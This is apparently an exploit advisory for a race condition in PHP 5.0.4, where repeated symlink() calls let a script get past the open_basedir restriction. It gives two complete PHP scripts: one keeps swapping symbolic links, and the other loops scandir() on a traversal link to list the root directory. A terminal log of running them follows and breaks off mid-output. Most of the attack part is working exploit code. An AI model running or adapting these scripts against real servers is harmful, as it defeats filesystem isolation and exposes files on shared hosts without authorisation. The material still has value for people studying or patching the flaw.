Impact: Critical Risk -==PHP open_basedir with symlink() function Race Condition PoC exploit==- --------------------------------------------------------- - Description --------------------------------------------------------- PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML. - Tested --------------------------------------------------------- localhost - PHP 5.0.4 - Vulnerability Description --------------------------------------------------------- The vulnerability was discovered by the staff of Hardened-PHP ( www.hardened-php.net). You can see the original advisory in http://www.hardened-php.net/advisory_082006.132.html. The point isn't all like the Hardened people said: "The first script alternates a symbolic link between a file that is allowed and the one that is forbidden by open_basedir and the second script simply puts loops around operations trying to operate on the symbolic link." We don't need to alternate the symlink beetwen an allowed file an a forbidden one. In this PoC you can see that the symlink doesn't point to an allowed file in the loop. script1.php <? symlink("a/a/a/a/a/a/", "dummy"); symlink("dummy/../../../../../../", "xxx"); unlink("dummy"); while (1) { symlink(".", "dummy"); unlink("dummy"); } ?> script2.php <? @print_r(scandir("/")); // open_basedir restriction doesn't let us to see the root dir content // scandir() is a PHP 5 function. You can use another function of the other versions to work on the directory while (1) { $dir=@scandir("xxx"); if (@count($dir) > 20) print_r($dir); // the main dir have more than 20 folders } ?> --Real Proof of Concept exploit-- [root@fc43035 race_condition]# php script1.php & [1] 7942 PHP Warning: Module 'gd' already loaded in Unknown on line 0 [root@fc43035 race_condition]# php script2.php PHP Warning: Module 'gd' already loaded in Unknown on line 0 PHP Warning: file_get_contents(): open_basedir restriction in effect.
